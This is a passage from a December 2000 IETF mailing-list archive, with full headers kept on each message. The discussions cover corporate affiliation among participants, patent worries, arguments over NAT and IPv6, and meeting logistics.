> > We are here not as corporate representatives, but as individuals > committed to building the best Internet we can. Becoming part of a > working group means you leave your company badge at the door. As the > Internet has become more and more a commercial place, and the setting > for business and commerce, the pressure to bend the way the Internet > works to one's particular advantage at the expense of others > increases. > > This is not part of our heritage. It is not part of our Tao. We > come together because the Internet belongs to no one country, or > organization. Rather it exists for all. We can look forward to a > Net which not only spans the Earth, but gives every person in every > country, the opportunity and the means to learn from any other > regardless of their home, their beliefs or their physical > capabilities. > > It is a wonderful thing. And we must remember it is our > responsibility to preserve and enhance it for those who will come > after. > > -- > > john noerenberg > jwn2@qualcomm.com > ---------------------------------------------------------------------- > If we admire the Net, should not a burden of proof fall on those > who would change the basic assumptions that brought it about in > the first place? > -- David Brin, "The Transparent Society", 1998 > ---------------------------------------------------------------------- From owner-ietf-outbound Thu Dec 14 22:50:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA07389 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 22:50:03 -0500 (EST) Received: from zeus.ultraservers.net ([216.218.203.190]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA04230 for ; Thu, 14 Dec 2000 21:11:58 -0500 (EST) Received: from client34157.atl.mediaone.net ([24.88.34.157] helo=gator) by zeus.ultraservers.net with smtp (Exim 3.14 #1) id 146kKs-0000gS-00; Thu, 14 Dec 2000 18:11:02 -0800 Reply-To: From: "Kyle Lussier" To: "John W Noerenberg II" Cc: Subject: RE: What is the IETF? -- A note of caution Date: Thu, 14 Dec 2000 21:11:25 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > But it's that word "representative" I find disquieting. I second everything you said John. How does the IETF prevent a "RAMBUS" type scenario where a company sits in on IETF, copies the technologies, patents them, waits for everyone to adopt them, and then sues everyone for infringement? This is very concerning to me. I want so much to go hog wild with new ideas and work for IETF, but I don't want the work to be thrown against me in courts by a hidden observer claiming the work to be proprietary. The work done in IETF should be unpatentable... the question is.. is it? I am sure it's been discussed before, can someone point me to how the "RAMBUS" scenario is prevented? Regards, Kyle Lussier From owner-ietf-outbound Thu Dec 14 23:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA10504 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 23:00:03 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA09328 for ; Thu, 14 Dec 2000 21:26:36 -0500 (EST) From: Masataka Ohta Message-Id: <200012150220.LAA23759@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id LAA23759; Fri, 15 Dec 2000 11:20:20 +0900 Subject: Re: NATs *ARE* evil! To: itojun@iijlab.net Date: Fri, 15 Dec 0 11:20:19 JST Cc: condry@intel.com, smd@EBONE.NET, ietf@ietf.org, iab@iab.org In-Reply-To: <27845.976827831@coconut.itojun.org>; from "itojun@iijlab.net" at Dec 15, 100 6:23 am X-Mailer: ELM [version 2.3 PL11] X-Loop: ietf@ietf.org Itojun; > >You do not consider IPv6 an option? > > ipv6 is working just fine even here at IETF49 venue, it's so much more > convenient than IPv4, for couple of reasons. We can't use IPv6 until multihoming issues are properly solved and global routing table size and the number of ASes are controlled to be below reasonable upper bound. IETF is intensively working on the issue that a new WG (multi6) will be created to draft a framwork document. So, you can expect lengthy framework document effectively stating nothing more than that the issue is hard, within a year or two. Well, I have a solution. But, last time I tried this kind of thing (proposed that subscribers be assigned /48 IPv6 address ranges or renumbering and other things are too hard just before IPv6 went to PS), it was rejected with a reason that it is too late. As you can see, 5 years are wasted until IAB and IESG make the same statement that assignments should be /48. Masataka Ohta From owner-ietf-outbound Thu Dec 14 23:40:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA21823 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 23:40:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA24793 for ; Thu, 14 Dec 2000 22:07:53 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id WAA04498; Thu, 14 Dec 2000 22:07:53 -0500 (EST) Message-Id: <200012150307.WAA04498@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Matt Crawford" cc: John W Noerenberg II , ietf@ietf.org Subject: Re: What is the IETF? -- A note of caution In-reply-to: Your message of "Thu, 14 Dec 2000 19:06:57 CST." <200012150106.TAA11429@gungnir.fnal.gov> Date: Thu, 14 Dec 2000 22:07:52 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > He also introduced the ADs as " from " after the IAB > had been introduced solely by name. I don't like the word "representatives" either. But employers who support employees' IESG and IAB participation certainly deserve to be recognized, since such an employee will spend a tremendous amount of "work time", and a non-trivial amount of travel money, on IESG or IAB activities. Keith From owner-ietf-outbound Fri Dec 15 00:00:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA28569 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 00:00:06 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA27852 for ; Thu, 14 Dec 2000 22:21:07 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id WAA04620; Thu, 14 Dec 2000 22:21:04 -0500 (EST) Message-Id: <200012150321.WAA04620@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "David W. Morris" cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Thu, 14 Dec 2000 20:05:18 EST." Date: Thu, 14 Dec 2000 22:21:04 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > NAT reduces the number of discrete IPs needed for an Internet connected site. > It allows the restricted allocation philosophy, it doesn't cause it. NAT allows us to put a larger number of hosts behind a smaller prefix than would otherwise have been possible. It doesn't directly cause the growth in the routing table size, because those routing table entries would have been equally necessary if those hosts currently behind NAT were using global address space. In a sense, NAT may have been responsible for a false sense of security regarding routing table growth - because much of the growth in the network was within NATted networks, it wasn't immediately necessarily for those networks to allocate large amounts of global address space. But as those NATted networks grew to support more users, some of those networks' operational requirements would have naturally increased to the point that they needed more reliable external connectivity through multhoming, which in turn would require additional entries in routing tables. Thus, while NATs may help conserve the global addess pool, they do not necessarily conserve routing table space to the same degree. But even as a dedicated NAT-hater I cannot find much fault with NAT for this reason. (I blame NATs for other things, but not for this) Keith From owner-ietf-outbound Fri Dec 15 00:10:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA02740 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 00:10:04 -0500 (EST) Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA28075 for ; Thu, 14 Dec 2000 22:22:08 -0500 (EST) Received: from [192.168.0.10] ([206.170.6.162]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G5L00EBBAH8ZE@mta6.snfc21.pbi.net> for ietf@ietf.org; Thu, 14 Dec 2000 19:17:34 -0800 (PST) Date: Thu, 14 Dec 2000 19:18:24 -0800 From: Ari Ollikainen Subject: Re: What is the IETF? -- A note of caution In-reply-to: X-Sender: ari@mail.olteco.com To: ietf@ietf.org Message-id: MIME-version: 1.0 Content-type: text/plain; charset="us-ascii" ; format="flowed" References: X-Loop: ietf@ietf.org At 3:34 PM -0800 12/14/00, John W Noerenberg II wrote: > > >We are here not as corporate representatives, but as individuals >committed to building the best Internet we can. Becoming part of a >working group means you leave your company badge at the door. As >the Internet has become more and more a commercial place, and the >setting for business and commerce, the pressure to bend the way the >Internet works to one's particular advantage at the expense of >others increases. > >This is not part of our heritage. It is not part of our Tao. We >come together because the Internet belongs to no one country, or >organization. Rather it exists for all. We can look forward to a >Net which not only spans the Earth, but gives every person in every >country, the opportunity and the means to learn from any other >regardless of their home, their beliefs or their physical >capabilities. > >It is a wonderful thing. And we must remember it is our >responsibility to preserve and enhance it for those who will come >after. > So let's change the way we're identified on the badges to NOT include organizational identity. And NOT include the organizational affiliation(s) on the published attendees list. As an adjunct to the above suggestion, how about ISOC offering to provide e-mail forwarding (ala IEEE) for IETF participants after some number of consecutive meetings attended... From owner-ietf-outbound Fri Dec 15 00:20:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA07161 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 00:20:04 -0500 (EST) Received: from tankgirl.kurtis.pp.se (tankgirl.kurtis.pp.se [195.43.225.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA15908 for ; Thu, 14 Dec 2000 23:17:17 -0500 (EST) Received: from localhost (kurtis@localhost) by tankgirl.kurtis.pp.se (8.9.1/8.9.1) with ESMTP id EAA27776; Fri, 15 Dec 2000 04:41:18 +0100 Date: Fri, 15 Dec 2000 04:41:17 +0100 (CET) From: Kurt Erik Lindqvist To: Masataka Ohta cc: itojun@iijlab.net, condry@intel.com, smd@EBONE.NET, ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-Reply-To: <200012150220.LAA23759@necom830.hpcl.titech.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org > > ipv6 is working just fine even here at IETF49 venue, it's so much more > > convenient than IPv4, for couple of reasons. > > We can't use IPv6 until multihoming issues are properly solved > and global routing table size and the number of ASes are > controlled to be below reasonable upper bound. If I am reading this right you want a upper bound for routing table size? Well,considering the problems some operators have to aggreagate maybe that would be a good idea...:) - kurtis - From owner-ietf-outbound Fri Dec 15 00:40:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA15839 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 00:40:03 -0500 (EST) Received: from baynet.baynetworks.com (ns1.BayNetworks.COM [134.177.3.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA21429 for ; Thu, 14 Dec 2000 23:38:17 -0500 (EST) Received: from mailhost.BayNetworks.COM (h016d.s86b1.BayNetworks.COM [134.177.1.109]) by baynet.baynetworks.com (8.9.1/8.9.1) with ESMTP id UAA10087; Thu, 14 Dec 2000 20:34:42 -0800 (PST) Received: from mailhost.CorpIndia.BayNetworks.COM (ns1.corpindia.baynetworks.com [141.251.85.6]) by mailhost.BayNetworks.COM (8.9.1/8.8.8) with ESMTP id UAA24784; Thu, 14 Dec 2000 20:27:54 -0800 (PST) Received: from nortelnetworks.com ([141.251.87.46]) by mailhost.CorpIndia.BayNetworks.COM (8.8.8/8.8.8) with ESMTP id JAA18340; Fri, 15 Dec 2000 09:58:35 -0500 (GMT) Message-ID: <3A39A086.75B2E244@nortelnetworks.com> Date: Fri, 15 Dec 2000 10:09:35 +0530 From: M Dev Organization: Nortel Networks X-Mailer: Mozilla 4.72 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Sean Doran CC: ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! References: <20001214065548.312A6898@sean.ebone.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit hi all, i'm late in giving my contribution to this subject, as i'm on the other side of world... regarding NAT, its not horrible at all. as u all must be knowing its the solution that was provided to the problem of reducing IPv4 addresses. Yes, there is a shortage of ipv4 addresses. Initially they were allocated to big organisations without thinking anything, now they are crying that 'sorry boss! its all over'. In this condition, NAT comes to rescue. You might have had bad experiences, but i think it depends on implementation. As there is no fixed standard, so it depends on the implementation. happy natting... M. Dev Sean Doran wrote: > Hi - > > I should have waited until Perry had spoken, because now that he has > pointed out the extreme cost of NAT, I have seen the light! > > NATs are expensive. They have gross side-effects. Even Noel Chiappa, > my guru, says that they are an architectural hack. > > So, why are people deploying them? > > They are so awful, that it must only happen when people have NO OTHER OPTION. > > So, I have to wonder, why is it that they have no option? > Isn't it the job of the Internet Architecture Board to be addressing > this serious problem, since the IETF's solution doesn't seem to be working??? > > Sean. -- Munish Dev Nortel Networks From owner-ietf-outbound Fri Dec 15 01:00:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA24058 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 01:00:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA08109 for ; Fri, 15 Dec 2000 00:22:08 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBF5M7CW222848; Fri, 15 Dec 2000 00:22:07 -0500 Message-Id: <200012150522.eBF5M7CW222848@black-ice.cc.vt.edu> To: lussier@autonoc.com cc: ietf@ietf.org Subject: Re: What is the IETF? -- A note of caution In-reply-to: Your message of "Thu, 14 Dec 2000 21:11:25 EST." X-URL: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Date: Fri, 15 Dec 2000 00:22:07 -0500 X-Loop: ietf@ietf.org On Thu, 14 Dec 2000 21:11:25 EST, Kyle Lussier said: > How does the IETF prevent a "RAMBUS" type scenario where > a company sits in on IETF, copies the technologies, > patents them, waits for everyone to adopt them, and then > sues everyone for infringement? They can't copy-and-patent the technology unless they have sufficiently deep pockets to deal with the inevitable prior-art lawsuits. -- Valdis Kletnieks Operating Systems Analyst Virginia Tech From owner-ietf-outbound Fri Dec 15 01:10:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA28842 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 01:10:04 -0500 (EST) Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA11666 for ; Fri, 15 Dec 2000 00:30:12 -0500 (EST) Received: from localhost (ole@localhost) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id VAA03142; Thu, 14 Dec 2000 21:29:40 -0800 (PST) Date: Thu, 14 Dec 2000 21:29:39 -0800 (PST) From: "Ole J. Jacobsen" To: Keith Moore cc: Matt Crawford , John W Noerenberg II , ietf@ietf.org Subject: Re: What is the IETF? -- A note of caution In-Reply-To: <200012150307.WAA04498@astro.cs.utk.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org Did we not just have this whole debate on the Poisson list or is this a new flavor? Ole Ole J. Jacobsen Editor and Publisher The Internet Protocol Journal Office of the CTO, Cisco Systems Tel: +1 408-527-8972 GSM: +1 415-370-4628 E-mail: ole@cisco.com URL: http://www.cisco.com/ipj On Thu, 14 Dec 2000, Keith Moore wrote: > > He also introduced the ADs as " from " after the IAB > > had been introduced solely by name. > > I don't like the word "representatives" either. > > But employers who support employees' IESG and IAB participation certainly > deserve to be recognized, since such an employee will spend a tremendous > amount of "work time", and a non-trivial amount of travel money, on IESG > or IAB activities. > > Keith > > From owner-ietf-outbound Fri Dec 15 01:30:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA09677 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 01:30:04 -0500 (EST) Received: from ws130.nomadiclab.com (ws130.nomadiclab.com [195.165.196.130]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA07338 for ; Fri, 15 Dec 2000 01:25:42 -0500 (EST) Received: from ws142.nomadiclab.com (ws142.nomadiclab.com [195.165.196.142]) by ws130.nomadiclab.com (Postfix) with ESMTP id A2EE772504 for ; Fri, 15 Dec 2000 08:25:13 +0200 (EET) Date: Fri, 15 Dec 2000 08:24:12 +0200 (EET) From: Teemu Rinta-aho To: ietf@ietf.org Subject: WLAN Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org Hi, nice to notice that the IETF WLAN is also working here at the Embassy Suites hotel, which is far (ab. 2 miles) away from the Sheraton... Is here a secret/uninformed access point or is the range of WLAN this awesome on this side of the world?-) BR, Teemu ----------------------------------------------------------- Teemu Rinta-aho teemu@nomadiclab.com NomadicLab, Ericsson Research +358 9 299 3078 FIN-02420 Jorvas, Finland +358 40 562 3066 ----------------------------------------------------------- From owner-ietf-outbound Fri Dec 15 04:10:45 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA09920 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 04:10:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA08869 for ; Fri, 15 Dec 2000 04:05:10 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id EAA09592; Fri, 15 Dec 2000 04:05:02 -0500 (EST) Message-Id: <200012150905.EAA09592@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: M Dev cc: Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 15 Dec 2000 10:09:35 +0530." <3A39A086.75B2E244@nortelnetworks.com> Date: Fri, 15 Dec 2000 04:05:01 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org the problems with NAT are not generally due to implementation. they are inherent in the very idea of NAT, which destroys the global Internet address space. Keith From owner-ietf-outbound Fri Dec 15 09:51:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA15018 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 09:50:02 -0500 (EST) Received: from web10605.mail.yahoo.com (web10605.mail.yahoo.com [216.136.130.169]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14876 for ; Fri, 15 Dec 2000 09:49:08 -0500 (EST) Message-ID: <20001215144909.41503.qmail@web10605.mail.yahoo.com> Received: from [199.67.138.20] by web10605.mail.yahoo.com; Fri, 15 Dec 2000 06:49:09 PST Date: Fri, 15 Dec 2000 06:49:09 -0800 (PST) From: Gabriel Landowski Subject: Re: Congestion control To: Dave Crocker , ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org I am not sure exactly how IETF meetings are executed or how business is conducted, but the group may consider occupying an indoor stadium, etc. With the basic floor space available (convention like) organizers would be able to resize areas to fit audiences accordingly. More importantly sooner or later these meetings are going to be impossible for everyone to reach on a global/space planning/agenda/not enough band-width basis. I think we need to look to the future where three thousand participants are going to offer up their ideas and we need to be able to take advantage of those resources without stuff "getting dropped" simply because of the meeting space/format. Perhaps there should be some sort of use of technology to broadcast/capture the content and make it available to everyone on a global scale. Put fifty people who really want to contribute into a small space and watch the blood bath. I think we as a technology minded think tank should try to look towards capturing all these ideas spilling forth and make it available on an Internet scale. This would help with space planning (a virtual conference room) as well as order of business/capturing good content. (I as a willing reader cannot afford to trot the globe to hear all the goodies!) Regards, Gabriel --- Dave Crocker wrote: > Rather than trying to carefully provide "enough" > meeting room capacity for > expected attendance, what would be the effect of > reserving *too much* > capacity for our meetings? > > d/ > > =-=-=-=-= > Dave Crocker > Brandenburg Consulting > Tel: +1.408.246.8253, Fax: +1.408.273.6464 > __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Fri Dec 15 10:00:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA16673 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 10:00:03 -0500 (EST) Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA15356 for ; Fri, 15 Dec 2000 09:52:42 -0500 (EST) Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-blue.research.att.com (Postfix) with ESMTP id 9CC1F4CE44; Fri, 15 Dec 2000 09:52:44 -0500 (EST) Received: from hdr-test74.qualcomm.com (secure.research.att.com [135.207.24.10]) by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id JAA04732; Fri, 15 Dec 2000 09:52:42 -0500 (EST) Date: Fri, 15 Dec 2000 09:49:48 -0500 From: John C Klensin To: Matt Crawford , John W Noerenberg II Cc: ietf@ietf.org Subject: Re: What is the IETF? -- A note of caution Message-ID: <1916212408.976873788@localhost> In-Reply-To: <200012150106.TAA11429@gungnir.fnal.gov> X-Mailer: Mulberry/2.0.5 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit --On Thursday, 14 December, 2000 19:06 -0600 Matt Crawford wrote: >> But in retrospect, one thing he said bothered me greatly. He >> mentioned there were representatives of some five hundred >> different organizations at this meeting. That too is >> impressive. But it's that word "representative" I find >> disquieting. >>... > He also introduced the ADs as " from " after > the IAB had been introduced solely by name. Throw the bum out! > :-) Folks, There is obviously a tension on the subject of company affiliations and support, and there probably are no perfect solutions. I'd like to make a few observations about it, with the understanding that these are very much personal opinions and not any sort of consensus policy. First, I don't spend a lot of time planning exactly what words I'm going to use at a plenary, and I assume that Fred doesn't either. Both of us have many other things to do during the week of IETF, things that I think are more important. I'll worry a great deal when and if the community depends on the IAB and/or the IESG to produce careful, scripted, presentations. We don't coordinate the backgrounds on our slides, and we don't coordinate the language we use, and differences in tone or words are more likely the result of personal style or momentary impulse rather than anything from which someone should deduce deep meaning. I really didn't think about the IAB introducing ourselves without employer affiliations. It just sort of happened, and I'm sure we have identified our employers in the past. If the community has a strong preference, we can try to remember to follow it, but, really... People who participate in IETF --whether in working groups or on the IAB or IESG-- are doing so as individual experts. I've periodically felt that we should have a "leave your company affiliations at the door" banner. But, even without "representing" anyone (that is not a word I would have chosen had I thought about it, but see above), where we work and what we do in our day jobs inevitably impacts our experience and perspective. For example, since I left research settings, I've worked for carriers, but never in operational situations. That carrier background gives me some perspectives that I wouldn't have if I had a background with, e.g., equipment manufacturers. And people who work for manufacturers almost certain have perspectives that I lack. That doesn't mean that I'm "representing" my company, or carriers in general, in the sense that "representation" was taken. But it may be something the community would want to know about, especially if I make a comment that implies that I might actually know something. It is also probably more important that people understand affiliations and perspectives of the IESG than of the IAB, since the latter normally has no decision power in the standards process. And, as someone pointed out, companies who support participation of people --especially without expecting much of company-specific and short-term value back-- deserve as much credit and acknowledgement as those who, e.g., sponsor parts of meetings. And we typically don't acknowledge that contribution well enough. I don't think company names on badges are harmful, and they do help us identify each other (otherwise, we could carry the principle to the limits and leave the names off too, replacing them with randomly-assigned numbers). Any chance we can get back to substantive technical work now? john From owner-ietf-outbound Fri Dec 15 10:10:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA19753 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 10:10:03 -0500 (EST) Received: from web10608.mail.yahoo.com (web10608.mail.yahoo.com [216.136.130.172]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA16407 for ; Fri, 15 Dec 2000 09:58:49 -0500 (EST) Message-ID: <20001215145846.30038.qmail@web10608.mail.yahoo.com> Received: from [199.67.138.20] by web10608.mail.yahoo.com; Fri, 15 Dec 2000 06:58:46 PST Date: Fri, 15 Dec 2000 06:58:46 -0800 (PST) From: Gabriel Landowski Subject: Re: What is the IETF? -- A note of caution To: John W Noerenberg II , ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org I would think the best thing that can be done is to broad cast the findings as clear and loudly as possible to the largest possible audience. The global community as a whole will see who is actively 'taking ideas for their own' and the thieves will get theirs in their own special way. Perhaps the motto of the IETF (restated at each gathering) should be "These ideas for all and not any one specific thief". (I believe in a sort of 'you asked for it' kind of fate.) If the work you are doing is special or specific to you/yours then perhaps we need to approach this in a resistance cell kind of way: critical or sensative information to be shared in a tight group that is to be released to the general IETF airways once all desired precautions have been in place by the cell members. It worked in WWII. I would hate to see free and open discussion hampered by idiots, however they are there yet somehow we must go on. Regards, Gabriel --- John W Noerenberg II wrote: > But in retrospect, one thing he said bothered me > greatly. He > mentioned there were representatives of some five > hundred different > organizations at this meeting. That too is > impressive. But it's > that word "representative" I find disquieting. > > john noerenberg > jwn2@qualcomm.com __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Fri Dec 15 10:50:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA02295 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 10:50:04 -0500 (EST) Received: from e2emsx.endtoend.com ([207.219.115.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA01757 for ; Fri, 15 Dec 2000 10:48:27 -0500 (EST) Received: by E2EMSX with Internet Mail Service (5.5.2650.21) id ; Fri, 15 Dec 2000 10:45:05 -0500 Message-ID: From: Dave Robinson To: Keith Moore , M Dev Cc: Sean Doran , ietf@ietf.org, iab@iab.org Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 10:45:01 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org How does the idea of NAT destroy the global Internet address space? -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: Friday, December 15, 2000 4:05 AM To: M Dev Cc: Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! the problems with NAT are not generally due to implementation. they are inherent in the very idea of NAT, which destroys the global Internet address space. Keith From owner-ietf-outbound Fri Dec 15 11:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA04573 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 11:00:03 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04042 for ; Fri, 15 Dec 2000 10:57:44 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id KAA07104; Fri, 15 Dec 2000 10:56:10 -0500 (EST) Message-Id: <200012151556.KAA07104@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Dave Robinson cc: Keith Moore , M Dev , Sean Doran , ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 15 Dec 2000 10:45:01 EST." Date: Fri, 15 Dec 2000 10:56:10 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > How does the idea of NAT destroy the global Internet address space? because in a NATted network the same addresses are used in different parts of the network. addresses are meaningless. From owner-ietf-outbound Fri Dec 15 11:10:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA07802 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 11:10:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04442 for ; Fri, 15 Dec 2000 10:59:34 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id HAA09807; Fri, 15 Dec 2000 07:59:09 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ACL01005; Fri, 15 Dec 2000 07:59:05 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 I); VM 6.87 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14906.16276.560775.293043@localhost.localdomain> Date: Fri, 15 Dec 2000 07:58:12 -0800 To: Dave Crocker Cc: ietf@ietf.org Subject: Re: Congestion control In-Reply-To: <5.0.1.4.2.20001214172853.0340aec0@joy.songbird.com> References: <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net> <5.0.1.4.2.20001214172853.0340aec0@joy.songbird.com> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit On 14 Dec 2000 at 17:31 -0800, Dave Crocker apparently wrote: > At 03:58 PM 12/14/00 -0800, Scott Brim wrote: > >Building on a previous suggestion: > > Just to be clear, my suggestion is diametrically opposed to the list that > you specified. > > You are suggesting very tight queue management. By the mid-70's, Kleinrock > showed that these mechanisms do not work in the face of sustained > overload. They only work when the problem is transient. > > Rather than 